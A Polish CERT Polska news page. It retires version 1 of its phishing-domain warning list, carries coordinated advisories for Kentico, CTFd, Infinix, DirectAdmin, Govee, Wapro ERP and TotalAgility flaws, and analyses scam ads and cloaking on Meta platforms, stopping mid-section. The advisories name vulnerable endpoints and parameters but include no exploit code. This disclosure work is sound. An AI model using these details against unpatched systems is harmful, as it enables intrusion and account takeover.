CERT Polska

Wycofanie pierwszej wersji Listy Ostrzeżeń przed niebezpiecznymi stronami

2025-01-02T13:00:00+01:00

Lista Ostrzeżeń przed niebezpiecznymi stronami wkrótce będzie obchodziła swoje piąte urodziny. Przez ten czas stała się naszym najefektywniejszym narzędziem do walki ze stronami phishingowymi i powstrzymała miliony prób wejść na niebezpieczne strony.

Ponad rok temu zaczęliśmy publikować listy domen w nowym formacie. Nowa, druga wersja pozwala nam na dokładniejsze blokowanie domen, rozwiązuje problem zablokowanych domen, które przechodzą w ręce nowych właścicieli oraz ułatwia integratorom regularne aktualizowanie.

1 czerwca 2025 r. przestaniemy udostępniać pierwszą wersję Listy Ostrzeżeń.

Następujące adresy nie będą już aktualizowane i zamiast tego będą przekierowywały za pomocą statusu HTTP 301 Moved Permanently na odpowiadające adresy w nowszej wersji:

https://hole.cert.pl/domains/domains.txt -> https://hole.cert.pl/domains/v2/domains.txt
https://hole.cert.pl/domains/domains.csv -> https://hole.cert.pl/domains/v2/domains.csv
https://hole.cert.pl/domains/domains.json -> https://hole.cert.pl/domains/v2/domains.json
https://hole.cert.pl/domains/domains.xml -> https://hole.cert.pl/domains/v2/domains.xml
https://hole.cert.pl/domains/domains_adblock.txt -> https://hole.cert.pl/domains/v2/domains_adblock.txt
https://hole.cert.pl/domains/domains_hosts.txt -> https://hole.cert.pl/domains/v2/domains_hosts.txt
https://hole.cert.pl/domains/domains_mikrotik.rsc -> https://hole.cert.pl/domains/v2/domains_mikrotik.rsc

Najważniejsze różnice między listą w wersji v1 i v2

Schemat listy nie zmienia się – dla użytkowników poprawnie integrujących listę v1, jedyna wymagana zmiana to podmiana ścieżki z /domains.xyz na /v2/domains.xyz
Lista w wersji v2 implementuje automatyczną retencję danych, to znaczy, że domeny są z niej usuwane po 6 miesiącach. Dlatego bardzo ważne jest, żeby w skryptach integracyjnych dbać nie tylko o dodawanie nowych domen z listy, ale także o usuwanie tych, których już na niej nie ma
Lista w wersji v2 jest znacznie mniejsza, co uprości integrację i zwiększy wydajność

Więcej informacji na temat List Ostrzeżeń przed niebezpiecznymi stronami znajduje się w głównym artykule.

Podatność w oprogramowaniu Kentico CMS

2025-01-02T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Kentico CMS i koordynował proces ujawniania informacji.

W niewspieranej od 2016 roku wersji 7 oprogramowania Kentico CMS występuje podatność CVE-2024-12907 typu Reflected XSS (Cross-site Scripting). Modyfikacja jednego z parametrów wysyłanych w żądaniach GET do endpointa /CMSMessages/AccessDenied.aspx pozwala stworzyć link, który po kliknięciu przez użytkownika spowoduje uruchomienie skryptu w jego przeglądarce.

Testy wykonane na wersji 8 Kentico CMS nie wykazały występowania podatności. Według informacji pozyskanych od producenta, wersja 7 nie jest wspierana od 2016 roku i klientom zaleca się aktualizację oprogramowania do wyższej wersji.

Podziękowania

Za zgłoszenie podatności dziękujemy Michałowi Majchrowiczowi oraz Marcinowi Wyczechowskiemu z zespołu Afine.

Podatności w oprogramowaniu CTFd

2025-01-02T11:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CTFd i koordynował proces ujawniania informacji.

Podczas gdy przypisanie użytkownika do zespołu (bracket) w CTFd powinno być możliwe tylko raz, podczas rejestracji, błąd w implementacji logiki pozwala uwierzytelnionemu użytkownikowi na zresetowanie swojej grupy i wybranie nowej. W rezultacie użytkownik może dołączyć do innej drużyny w trakcie trwania zawodów.
Problem ten otrzymał identyfikator CVE-2024-11716. Dotyczy on wersji od 3.7.0 do 3.7.4 i został naprawiony przez pull request 2636, uwzględnionym w wersji 3.7.5.

Tokeny w CTFd używane do aktywacji konta i resetowania hasła mogą być używane zamiennie do obu operacji. Podczas użycia są one wysyłane do serwera jako parametr GET i nie są jednorazowe. Oznacza to, że w czasie ważności tokenu atakujący mający dostęp do transmisji danych lub historii przeglądarki może ponownie użyć takiego tokenu, aby zmienić hasło użytkownika i przejąć jego konto.
Dodatkowo tokeny zawierają w sobie zakodowany w base64 adres e-mail użytkownika.
Problem ten otrzymał identyfikator CVE-2024-11717. Dotyczy wszystkich wersji do 3.7.4 włącznie i został naprawiony przez pull request 2679, uwzględnionym w wersji 3.7.5.

Szczegóły techniczne znaleźć można w opisie przygotowanym przez znalazcę obu podatności.

Podziękowania

Za zgłoszenie podatności dziękujemy Błażejowi Adamczykowi (efigo.pl).

Podatność w aplikacji Weather Infinix Mobile

2024-12-30T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w aplikacji com.rlk.weathers preinstalowanej na urządzeniach Infinix Mobile i koordynował proces ujawniania informacji.

Urządzenia Infinix Mobile zawierają aplikację systemową com.rlk.weathers zawierającą podatność CVE-2024-12993, która poprzez niezabezpieczony komponent "Content provider" umożliwia komunikację i ujawnienie lokalizacji użytkownika bez wymaganych uprawnień systemu Android.

Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich urządzeniach mobilnych firmy Infinix.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.

Podatność w oprogramowaniu DirectAdmin Evolution Skin

2024-12-20T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu DirectAdmin Evolution Skin i koordynował proces ujawniania informacji.

System zarządzania zgłoszeniami w DirectAdmin Evolution Skin zawierał podatność typu XSS (Cross-Site Scripting). Umożliwiało to użytkownikom o niskich uprawnieniach przechowywanie w zgłoszeniach szkodliwego kodu JavaScript. Jeśli administrator otworzył takie zgłoszenie, skrypt mógł wykorzystać wykonywać polecenia z jego uprawnieniami.

Problem, oznaczony jako CVE-2024-10385, został rozwiązany w wersji 1.668 oprogramowania DirectAdmin Evolution Skin.

Podziękowania

Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.

Podatność w aplikacji Govee Home (Android & iOS)

2024-12-19T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Govee Home i koordynował proces ujawniania informacji.

Podatność CVE-2023-4617 w autoryzacji opartej o metodę HTTP POST umożliwia zdalnemu atakującemu kontrolowanie urządzeń nienależących do niego poprzez zmianę wartości pól „device”, „sku” i „type” w treści żądań wysyłanych do serwera. Ten problem dotyczy aplikacji Govee Home na Androida i iOS w wersjach wcześniejszych niż 5.9.

Podziękowania

Za zgłoszenie podatności dziękujemy Janowi Adamskiemu oraz Markowi Janiszewskiemu z Zakładu Cyberbezpieczeństwa NASK.

Podatności w oprogramowaniu Wapro ERP Desktop firmy Asseco Business Solutions

2024-12-18T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Wapro ERP Desktop firmy Asseco Business Solutions i koordynował proces ujawniania informacji.

Podatność CVE-2024-4995 pozwala na obniżenie wersji protokołu MS SQL do takiej, w której komunikacja jest nieszyfrowana. Aplikacja kliencka akceptuje takie żądanie nadchodzące ze strony serwera, co umożliwia podsłuchanie i modyfikację komunikacji. Ten problem dotyczy oprogramowania Wapro ERP Desktop do wersji 9.00.0.

Podatność CVE-2024-4996 umożliwia uzyskanie dostępu do informacji przechowywanych w bazie danych. To samo, zakodowane na stałe hasło do specjalnego konta w bazie, jest używane we wszystkich podatnych instalacjach programu. Ten problem dotyczy oprogramowania Wapro ERP Desktop do wersji 8.90.0.

Podatności w oprogramowaniu Tungsten Automation TotalAgility

2024-12-06T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Tungsten Automation (poprzednio Kofax) TotalAgility i koordynował proces ujawniania informacji.

Obie podatności CVE-2024-7874 oraz CVE-2024-7875 dotyczące oprogramowania TotalAgility w wersjach do 7.9.0.25.0.954 włącznie, pozwalają nieuwierzytelnionemu atakującemu na przeprowadzenie ataku typu Reflected XSS (Cross-site Scripting) poprzez odpowiednią modyfikację dwóch różnych parametrów: mfpConnectionId w formularzu wysyłanym do endpointa /TotalAgility/Kofax/BrowserDevice/ScanFront.aspx
i /TotalAgility/Kofax/BrowserDevice/ScanFrontDebug.aspx jak również parametru mfpScreenResolutionWidth w formularzu wysyłanym do endpointa /TotalAgility/Kofax/BrowserDevice/ScanFront.aspx.

Przeprowadzenie ataku wymaga wysłania żądania POST oraz znajomości poprawnego parametru VIEWSTATE. Oba te czynniki obniżają ryzyko wykorzystania podatności, choć należy mieć na uwadze, że wygenerowanie czy uzyskanie z serwera parametru VIEWSTATE nie stanowi większego problemu.

Nasz zespół nie był w stanie skontaktować się z wytwórcą oprogramowania, w związku z czym szczegóły dot. CVE uzgodnione zostały jedynie ze zgłaszającymi.

Podziękowania

Za zgłoszenie podatności dziękujemy badaczom: Amin ACHOUR oraz Abderrahmane Bounhidja.

Oczekiwania CERT Polska dot. rozwiązania przez firmę Meta problemów z oszustwami na jej platformach społecznościowych.

2024-12-04T12:30:00+01:00

25 listopada na stronie CERT Polska została opublikowana analiza, która w kompleksowy sposób pokazuje, jak oszuści wykorzystują serwisy społecznościowe do okradania Polaków. Link do artykułu został zamieszczony także na platformie Facebook. W krótkim czasie od publikacji materiał został jednak usunięty. Podobny los spotykał artykuły przygotowane przez media, które zdecydowały się podjąć temat publikacji CERT Polska. Choć materiał został już ponownie opublikowany, a dzielenie się prowadzącym do niego linkiem jest już możliwe, to wyzwania związane z cyberbezpieczeństwem nie zniknęły.

Na podstawie obserwacji dotyczących działań oszustów na platformach należących do Meta, CERT Polska postuluje o wprowadzenie rozwiązań, które przyczynią się do zmniejszenia ilości szkodliwych treści. Wśród najważniejszych zmian, które podniosą bezpieczeństwo użytkowników, należy wskazać:

• Sprawniejsze wykrywanie szkodliwych treści, także w języku polskim

Przez ostatnie miesiące wykryliśmy tysiące szkodliwych reklam oraz postów. Treści, przygotowane przez oszustów, zazwyczaj były dostępne po kilkanaście godzin, co ułatwiało dotarcie do potencjalnej ofiary.

Oczekujemy od firmy Meta przedstawienia planu wdrożenia skutecznego rozwiązania wykrywającego treści w języku polskim. Deklarujemy gotowość wzięcia udziału w grupie roboczej, w ramach której udostępnimy przykłady identyfikowanych przez nas treści.

• Zatrudnienie polskojęzycznych moderatorów

Problemem jest nie tylko niezadowalający czas wykrywania oszustw. Tak jak opisaliśmy w artykule o oszustwach, zgłaszanie ewidentnie złośliwych treści przez użytkowników często kończy się brakiem reakcji. Podobny los spotyka także oszustwa zgłaszane przez nas lub naszych partnerów. Świadczy to o niewystarczającej liczbie polskojęzycznych moderatorów.

Oczekujemy zatem rozbudowy zespołu polskojęzycznych moderatorów, aby w pełni wykorzystać i docenić zaangażowanie partnerów oraz użytkowników zgłaszających oszustwa.

• Blokowanie użytkowników

Zdarza się, że dzięki determinacji zgłaszającego, dochodzi do usunięcia szkodliwej treści. Nie można uznać tego jednak za pełen sukces. Dzieje się tak, bo zazwyczaj konto, które zamieściło złośliwą reklamę czy post nadal funkcjonuje i kontynuuje swoją działalność publikując dokładnie te same treści.

Oczekujemy blokowania użytkowników, których reklamy i posty zostały kilkukrotnie oznaczone jako oszustwo.

• Integracja źródeł danych o wysokiej jakości

Samodzielny monitoring po stronie firmy Meta nie daje perspektyw na skuteczne zwalczanie oszustw na całym świecie. Najlepszym rozwiązaniem jest poszukiwanie partnerów posiadających wiedzę i kompetencje, a także znających lokalny kulturowy i gospodarczy kontekst. Z takimi partnerami można wymieniać się wiedzą i danymi, po to by lepiej dbać o bezpieczeństwo użytkowników.

CERT Polska kompleksowo poszukuje zagrożeń w polskiej cyberprzestrzeni i udostępnia zaufane źródła danych, m.in. Listę Ostrzeżeń, w ramach której publikujemy zbiór domen ocenionych jako złośliwe. Każda domena przed wpisaniem na Listę jest weryfikowana przez analityków CSIRT NASK. Dzięki temu praktycznie wyeliminowaliśmy ryzyko niesłusznego zablokowania domeny. Aktualna zawartość Listy Ostrzeżeń jest zawsze publicznie dostępna. Od września 2023 roku Lista funkcjonuje na mocy ustawy o zwalczaniu nadużyć w komunikacji elektronicznej. Zgodnie z art. 20 ust. 3 tej ustawy na Liście umieszczamy domeny internetowe, które za podstawowy cel swojego działania mają wprowadzenie w błąd użytkowników internetu.

Oczekujemy, że Meta zacznie korzystać z Listy Ostrzeżeń i innych źródeł danych pochodzących od lokalnych partnerów, wyspecjalizowanych w wyszukiwaniu zagrożeń na danym rynku, aby usprawnić filtrowanie złośliwych linków zewnętrznych pojawiających się na ich platformach.

• Uporządkowanie biblioteki reklam

Meta udostępnia bibliotekę reklam Ad Library, dzięki której zespoły takie jak CERT Polska mogą wyszukiwać reklamy oraz powiązane z nimi strony tworzone przez grupy przestępcze. Jest to bardzo istotny mechanizm zapewniający transparentność sieci reklamowych i dystrybuowanych w nich treści. Niestety, Ad Library nie zawsze dobrze odzwierciedla rzeczywiste treści prezentowane użytkownikom, co związane jest z nadużywaniem funkcji kreatora reklam np.: do tworzenia wielu wersji pojedynczej reklamy, publikowania długich filmów oszukujących filtry czy poprzez wyświetlanie innego linku niż rzeczywisty. Zauważyliśmy również opóźnienie w publikowaniu zmienionych reklam w Ad Library względem treści wyświetlanych użytkownikom, co utrudnia wyszukiwanie aktualnych zagrożeń.

Oczekujemy poprawienia transparentności i aktualności biblioteki reklam, aby uniemożliwić nadużywanie jej funkcjonalności do obchodzenia mechanizmów weryfikacji wykorzystywanych przez Meta.

Podsumowanie

Wszystkie wymienione wyżej problemy dotyczą nie tylko polskich użytkowników, zostały zaobserwowane również w innych krajach. Z tego powodu nie możemy zaakceptować argumentów o braku możliwości dostosowywania się do lokalnych rynków, które są podnoszone przez firmy działające na globalną skalę. Rozwiązanie powyższych kwestii poprawi bezpieczeństwo wszystkich użytkowników, nie tylko Polaków, bo wyzwania dotyczące cyberbezpieczeństwa mają przecież wymiar globalny.

Powyższe oczekiwania dotyczące poprawy bezpieczeństwa użytkowników zostały przekazane przedstawicielom firmy Meta.

Podatność w oprogramowaniu urządzeń Infinix Mobile

2024-12-04T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w aplikacji com.transsion.agingfunction preinstalowanej na urządzeniach Infinix Mobile i koordynował proces ujawniania informacji.

Urządzenia Infinix Mobile zawierają aplikację systemową com.transsion.agingfunction zawierającą podatność CVE-2024-10576, która poprzez niezabezpieczony odbiornik transmisji umożliwia atakującemu komunikację i wykonanie resetu fabrycznego urządzenia bez wymaganych uprawnień systemu Android.

Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich urządzeniach mobilnych firmy Infinix.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.

Stanowisko CERT Polska dot. ograniczania przez firmę Meta widoczności artykułu na temat oszustw na tej platformie.

2024-11-29T19:28:00+01:00

W odpowiedzi na coraz częstsze sygnały dotyczące ograniczania widoczności postów linkujących do opracowanej przez ekspertów CERT Polska analizy oszustw na platformach społecznościowych, chcemy podkreślić, że nie ma w nas zgody na takie działania.

Materiał, który został opublikowany na stronie CERT Polska w kompleksowy sposób pokazuje jak oszuści, bez żadnych przeszkód, wykorzystują serwisy społecznościowe do oszukiwania Polaków. Spotyka się to z naszym stanowczym i konkretnym działaniem. Dlatego we współpracy z innymi CSIRT-ami, staramy się na bieżąco informować właścicieli platform o zagrożeniach dystrybuowanych za pośrednictwem reklam. Naszą rolą jest także ostrzegać, dlatego na przykładach pokazujemy jakie narzędzia wykorzystują przestępcy do swoich działań. Rozbudowana analiza na ten temat ukazała się w tym tygodniu na naszej stronie internetowej. Chcąc dotrzeć z przekazem tam, gdzie jest on najbardziej potrzebny, zdecydowaliśmy się link do artykułu umieścić na platformie Facebook. W krótkim czasie od publikacji materiał został usunięty. Podobny los spotyka artykuły przygotowane przez media, które zdecydowały się podjąć temat publikacji CERT Polska.

– Polacy, którzy korzystają z platform obdarzają je zaufaniem, dlatego mamy prawo oczekiwać od ich władz i administratorów, że to zaufanie nie będzie wykorzystywane w niewłaściwy sposób. Żeby tak się stało potrzebujemy proaktywnej postawy u naszych partnerów – podkreśla Marcin Dudek, kierujący pracami CERT Polska.

– Kluczowa wydaje się w tym momencie kwestia poprawy moderacji, która pozwala na to, by oszukańcze treści trafiały do użytkowników. Wierzę, że świadomość tego jak wiele szkód wyrządzają te reklamy jest po obu stronach. Mam też poczucie, że Meta to odpowiedzialny podmiot, który podejmie zdecydowaną walkę z tym procederem. My natomiast jesteśmy gotowi współpracować. Celem powinien być wzrost bezpieczeństwa Polaków – dodaje.

Analiza, która wzbudziła żywą dyskusję o tym jak wygląda bezpieczeństwo użytkowników platform jest dostępna na stronie internetowej CERT Polska: Oszustwa reklamowe na dużych platformach internetowych | CERT Polska.

Marcin Dudek nowym kierownikiem CERT Polska

2024-11-29T10:20:00+01:00

Marcin Dudek pracuje w CERT Polska od pięciu lat. Zajmował się tu do tej pory koordynacją analizy zagrożeń APT oraz bezpieczeństwem systemów przemysłowych. Wcześniej zdobywał doświadczenie w reagowaniu na incydenty komputerowe w firmach z sektora prywatnego, jak i w instytucjach państwowych, w szczególności w obszarze cyberbezpieczeństwa obiektów jądrowych.

Ukończył studia informatyczne na Wojskowej Akademii Technicznej oraz studia z zarządzania cyberbezpieczeństwem na University of Warwick w Wielkiej Brytanii.

Sebastian Kondraszuk, który dotychczas kierował zespołem CERT Polska, objął nowo utworzone stanowisko architekta współpracy międzysektorowej. Jego rolą będzie animowanie współpracy CSIRT-ów (zespołów reagowania na incydenty bezpieczeństwa komputerowego) sektorowych zgodnie z wymogami unijnej dyrektywy NIS2.

Rozwój kompetencji sektorowych zespołów cyberbezpieczeństwa to wyzwanie, które przynosi NIS2. Moje nowe zadania mogą w istotny sposób przyczynić się do podniesienia poziomu cyberbezpieczeństwa w obszarach, które tego wsparcia wymagają. W nowej roli zamierzam wykorzystać wszystkie dostępne mi zdolności i narzędzia. – podkreśla Sebastian Kondraszuk, dotychczasowy szef CERT Polska.

Sebastian Kondraszuk zaznacza też, że pozostawia zespół w dobrych rękach i w momencie, kiedy marka CSIRT NASK jest silna jak nigdy dotąd. Kondraszuk z CERT Polska związany jest od ponad dziewięciu lat. Pracami zespołu kierował przez ostatnie trzy lata. Nowe stanowisko to odpowiedź na wyzwania stojące przed krajowym systemem cyberbezpieczeństwa.

Oszustwa reklamowe na dużych platformach internetowych

2024-11-25T14:11:00+01:00

Sekretny sposób na zarabianie pieniędzy wyjawiony przez celebrytę, czy możliwość wzbogacenia się na rządowym programie inwestowania w spółki państwowe – takie informacje umieszczane przez oszustów w reklamach, które znajdujemy na platformach społecznościowych mają skłaniać do kliknięcia w linki prowadzące do stron, których celem jest nam zaszkodzić. Emocje przykuwają uwagę, dlatego niektóre z tych treści są szokujące: przerobione zdjęcia celebrytów – pokazujące ich nagich, pobitych, w szpitalach czy po wypadkach. Nagrania udające, że pochodzą z telewizji informacyjnej lub znanego portalu z wiadomościami. Wszystko po to, żeby nami wstrząsnąć, zaniepokoić, zaciekawić i skłonić do podążenia ścieżką przygotowaną przez cyberprzestępców.

Dlatego CERT Polska bez przerwy monitoruje działania oszustów – wyszukuje reklamy i reaguje. W procesie ich identyfikacji nieocenione są też zgłoszenia, które każdy może przesłać do CERT Polska za pomocą formularza https://incydent.cert.pl. Tylko w 2023 roku, CERT Polska zablokował 80 tys. domen szkodliwych domen, w tym 32 tys. domen związanych z fałszywymi inwestycjami. Każdego dnia na Listę trafiają kolejne oszukańcze witryny. Średnio to dziennie ponad 250 stron, które analitycy CERT Polska jednoznacznie oceniają jako takie, których zadaniem jest oszukiwanie Polaków. Dostęp do tych stron jest następnie blokowany – w zeszłym roku uniemożliwiono wejście na strony z Listy 50 mln razy, w tym roku zablokowaliśmy już 75 mln takich prób.

Warto podkreślić, że jedynymi podmiotami, które mogą skutecznie ograniczyć zasięgi oszustów są platformy reklamowe należące do gigantów technologicznych jak Meta (Facebook, Instagram) czy Google.

Jednakże pomimo istnienia mechanizmów raportowania szkodliwych reklam, w praktyce platformy obsługują zgłoszenia z dużym opóźnieniem albo odrzucają je, szczególnie gdy zgłoszenia pochodzą od zwykłego użytkownika. W efekcie ciężar filtrowania treści przerzucany jest na zewnętrzne podmioty, takie jak dostawcy usług telekomunikacyjnych i zespoły CSIRT takie jak CERT Polska czy CSIRT KNF, który działając na rzecz sektora finansowego, także wspiera nas w oznaczaniu i zgłaszaniu tego rodzaju treści.

W ramach naszych obserwacji dostrzegliśmy, że problem reklam jest znacznie szerszy i dotyczy, najogólniej mówiąc, reakcji platformy na oszukańcze treści. Mamy tu na myśli m.in. to, że konta z których wielokrotnie publikowane są złośliwe reklamy często nie są blokowane i przestępcy mogą korzystać z nich dalej bez przeszkód.

W dalszej części artykułu opiszemy dokładnie naturę problemu oraz co mogłyby robić wielkie platformy w celu ochrony swoich użytkowników.

Oszustwa reklamowe i fałszywe inwestycje

Duże platformy internetowe takie jak wyszukiwarki i serwisy społecznościowe są coraz częściej wykorzystywane jako agregatory treści i źródło wiedzy. Portale te korzystają z wielu mechanizmów (tzw. “algorytmów”), które profilują użytkowników i dopasowują wyświetlane treści do ich zainteresowań.

Jednocześnie, twórcy treści chcą, aby ich informacja wyświetliła się jak najszerszemu gronu. W związku z tym platformy oferują usługi reklamowe, takie jak “posty sponsorowane”, które po uiszczeniu opłaty pozwalają dotrzeć do szerszego grona użytkowników niż poprzez standardowe posty. Narzędzia oferowane twórcom reklam oferują wiele opcji, pozwalających na spersonalizowanie reklamy i na wyświetlenie wersji dopasowanej do wieku, płci, pochodzenia lub zainteresowań odbiorcy.

Analogicznie w wyszukiwarkach internetowych funkcjonuje mechanizm “linków sponsorowanych”, które pozycjonowane są jako pierwsze wyniki przy wyszukiwaniu odpowiednich słów kluczowych, wskazanych przez reklamodawcę.

Mechanizmy reklamowe są aktywnie wykorzystywane przez oszustów, którzy za ich pośrednictwem szeroko dystrybuują linki do oszukańczych stron internetowych. Jednym z powszechnych oszustw są w tym przypadku fałszywe inwestycje. Posty starają się zachęcać użytkowników do kliknięcia poprzez sensacyjne i krzykliwe nagłówki, szokujące fałszywe newsy, a także podszywając się pod znane portale informacyjne. Aby podbić zainteresowanie postem, oszuści wykorzystują wizerunki znanych osób publicznych i autorytetów takich jak lekarze, dziennikarze czy przedsiębiorcy.

Po kliknięciu w link, użytkownik prowadzony jest do strony z informacjami o rzekomej inwestycji i formularzem kontaktowym. Po jego wypełnieniu, na podany numer telefonu oddzwania podstawiony “konsultant”, który nakłania użytkownika do podpisania umowy, zarejestrowania konta na fałszywej platformie i przelewu środków.

Zrzut ekranu ze strony fałszywej platformy inwestycyjnej ”Infinity Bitwave”.

W dalszych etapach oszustwa, użytkownicy nakłaniani są do zainstalowania oprogramowania pozwalającego na zdalny dostęp do telefonu i komputera. Opis najczęstszych schematów oszustwa można znaleźć między innymi na stronie Komisji Nadzoru Finansowego. W efekcie, ofiary doprowadzane są do strat pieniędzy, czasem sięgających ponad miliona złotych. Oprócz utraconych oszczędności, ofiary często muszą również mierzyć się ze spłatą zaciągniętych przez przestępców pożyczek i kredytów, a także wykorzystaniem ich tożsamości w celu oszukania kolejnych osób.

Przezorni użytkownicy czasem podejmują próbę zweryfikowania czy dana platforma jest prawdziwą platformą inwestycyjną np. poprzez wyszukanie opinii w wyszukiwarce Google. Zazwyczaj trafiają wtedy na wysoko pozycjonowane linki do fałszywych recenzji, które mają na celu uwiarygodnienie platformy.

Fałszywe recenzje platformy "Infinity Bitwave" wysokopozycjonowane w wyszukiwarce Google.

Liczne “recenzje” można odnaleźć również na platformie YouTube np. w postaci deepfake’ów wykorzystujących wizerunek i głos znanych polskich przedsiębiorców i influencerów.

Fałszywa recenzja platformy "Infinity Bitwave" wykorzystująca wizerunek znanego przedsiębiorcy Rafała Brzoski.

Duża liczba reklam i treści uwiarygadniających oszustwo sprawia, że przestępcom udaje się skutecznie przekonać niektórych użytkowników do wzięcia udziału w fałszywej inwestycji.

CERT Polska ostrzega o tym problemie co najmniej od 2020 roku, gdy pisaliśmy o fałszywych stronach bankowości elektronicznej pojawiających się w sponsorowanych linkach w wyszukiwarce Google. W 2022 roku CSIRT KNF ostrzegał o pojawiających się sponsorowanych postach na Facebooku wykorzystujących wizerunki polskich piłkarzy do promowania fałszywych inwestycji. W 2023 roku ostrzegaliśmy o linkach w Google prowadzących do fałszywych platform inwestycyjnych.

Z każdym rokiem można zaobserwować coraz większe nasilenie tego typu incydentów. W 2023 roku CSIRT KNF zgłosił do platform ponad 7,5 tys. reklam. W raporcie rocznym CSIRT KNF za 2023 rok znajdują się dokładne statystyki z podziałem na miesiące i wykorzystywane wizerunki w oszukańczych reklamach.

Wykres z raportu rocznego CSIRT KNF za 2023 rok przedstawiający liczbę zgłoszonych reklam do CSIRT NASK

W 2023 roku CSIRT NASK zablokował za pomocą Listy Ostrzeżeń ponad 32 tys. domen związanych z fałszywymi inwestycjami.

Inne kampanie wykorzystujące reklamy i posty na mediach społecznościowych

Problem oszukańczych reklam nie zawęża się wyłącznie do fałszywych inwestycji. CERT Polska obserwuje również kampanie phishingowe, mające na celu wyłudzić od użytkowników dane do logowania lub skłonić do wykonania przelewu pieniędzy. Obserwowane są również kampanie związane ze sprzedażą cudownych “leków” i suplementów diety. Wspomniane reklamy wykorzystują podobne techniki przyciągania uwagi użytkowników i omijania moderacji treści do tych stosowanych w przypadku reklam inwestycji.

Reklamy “cudownych leków” i suplementów diety

W 2024 roku zauważyliśmy pojawienie się reklam produktów medycznych, które reklamowane są z wykorzystaniem podobnych technik, jak miało to miejsce w przypadku oszustw inwestycyjnych. Reklamy najczęściej wykorzystywały wizerunek lekarzy jako autorytetów medycznych zaświadczających o skuteczności danego leku, a także dziennikarzy rzekomo prowadzących materiał w dzienniku informacyjnym.

Strony, do których prowadziły reklamy najczęściej imitowały popularne strony informacyjne takie jak np. TVP Info lub podszywały się pod informacyjne strony rządowe np. Ministerstwa Zdrowia.

Fałszywe reklamy, wykorzystujące wizerunek lekarzy w celu promocji suplementów.

Fałszywe zbiórki dla ofiar powodzi z września 2024 roku

Dla oszustów nie ma tematów tabu, a każda tragedia to okazja do zysku. W kampaniach pojawił się również motyw powodzi. Klęska spowodowała znaczące straty na terenie m.in. województwa dolnośląskiego, w związku z czym uruchomiono wiele zbiórek i akcji pomocowych. Jedna z kampanii, stosując posty sponsorowane, propagowała fałszywą zbiórkę rzekomo zorganizowaną przez WOŚP.

Przykład oszustwa wykorzystującego motyw powodzi.

Reklamy wykorzystujące materiały erotyczne i pornograficzne

W reklamach odnotowaliśmy również wykorzystanie materiałów pornograficznych w celu promocji środków na potencję. Reklamy te wykorzystywały podobne techniki tzw. “cloakingu” co reklamy promujące fałszywe inwestycje. Mimo tego, że reklamy przedstawiały wprost treści pornograficzne, często nie były blokowane przez platformę Meta przez wiele tygodni.

Reklamy zawierające treści pornograficzne, nakłaniające do zakupu środków na potencję.

Wykorzystywanie wizerunków celebrytów w reklamach na platformach firmy Meta

W ramach badań tego zjawiska, dostrzegliśmy wykorzystanie wizerunku ponad 139 osób publicznych, w tym polityków, dziennikarzy, sportowców, lekarzy i influencerów. Reklamy zawierały spreparowane grafiki lub filmy szerzące fałszywe informacje na temat rzekomej śmierci, kompromitującej sytuacji lub ujawnionego spisku, aby skłonić użytkownika do wejścia na stronę. Ten mechanizm przynosi straty wizerunkowe po stronie osób, których wizerunek został wykorzystany w nieuprawiony sposób, ale jest także niezwykle groźny społecznie. Zaufanie, którym obserwujący obdarzają swoich idoli, było nadużywane i wykorzystywane do budowania autorytetu, a finalnie do okradania nieświadomych użytkowników, którzy za swoje straty finansowe obwiniali tych, których “twarzy” użyli oszuści.

Dobrym sposobem na zwrócenie uwagi ludzi jest wykorzystanie znanych twarzy.

Cloaking - jak przestępcy omijają automatyczne weryfikacje

Platformy starają się weryfikować treści, ale oszuści stosują tak zwany “cloaking” czyli zestaw metod, które pozwalają wyświetlić mechanizmom weryfikacyjnym inną stronę lub inną reklamę niż użytkownikom.

Zaobserwowaliśmy, że w tym celu przestępcy sprawdzają m.in.:

nagłówek User-Agent identyfikujący z jakiej przeglądarki i jakiego systemu operacyjnego jest odwiedzana strona
nagłówek Referer, który identyfikuje z jakiej strony użytkownik wszedł na stronę reklamową (bezpośrednio czy poprzez kliknięcie w link na Facebooku)
adres IP – znane adresy IP należące do NASK czy KNF, ale także do Facebooka czy Google są automatycznie blokowane.

Jeśli parametry te nie pasują do typowego użytkownika internetu i mogą wskazywać na analityka lub bota, następuje przekierowanie do strony, która wygląda na zwykły, niegroźny portal. Przykładowo, jeśli klikniemy w link reklamowy i strona uzna, że jesteśmy botem – przekierowywani jesteśmy do przygotowanej przez oszustów statycznej strony rzekomego zespołu zajmującego się coachingiem biznesowym. Jeśli natomiast skorzystamy z odpowiedniej przeglądarki i bardziej typowego adresu IP, otrzymamy przekierowanie na właściwą stronę.

Ta sama reklama odwiedzona z przeglądarki na systemie Linux i Windows.

Metody cloakingu stosowane w wyszukiwarkach reklam (Ad Library)

Reklamy na platformach wyświetlają się użytkownikom w zależności od decyzji “algorytmu”, stąd wyszukiwanie takich treści w tzw. feedzie jest znacząco utrudnione. Użytkownicy nie mają również przystępnej możliwości do zalinkowania wyświetlonego im posta bądź linku sponsorowanego. Na szczęście, niektóre platformy oferują Biblioteki reklam, takie jak Ad Library prowadzone przez firmę Meta.

Platformy te posiadają jednak znane błędy, które umożliwiają wyświetlenie zupełnie innej treści w Ad Library niż ta która jest wyświetlana użytkownikom.

Ad Library pozwala dowiedzieć się więcej na temat reklamy, którą widzimy.

Z poziomu reklamy, do Ad Library można przejść poprzez wybranie opcji “Dlaczego widzę tę reklamę”, następnie “Wybór reklamodawców”, a potem opcję “Wyświetl szczegóły reklamy w bibliotece reklam Meta”.

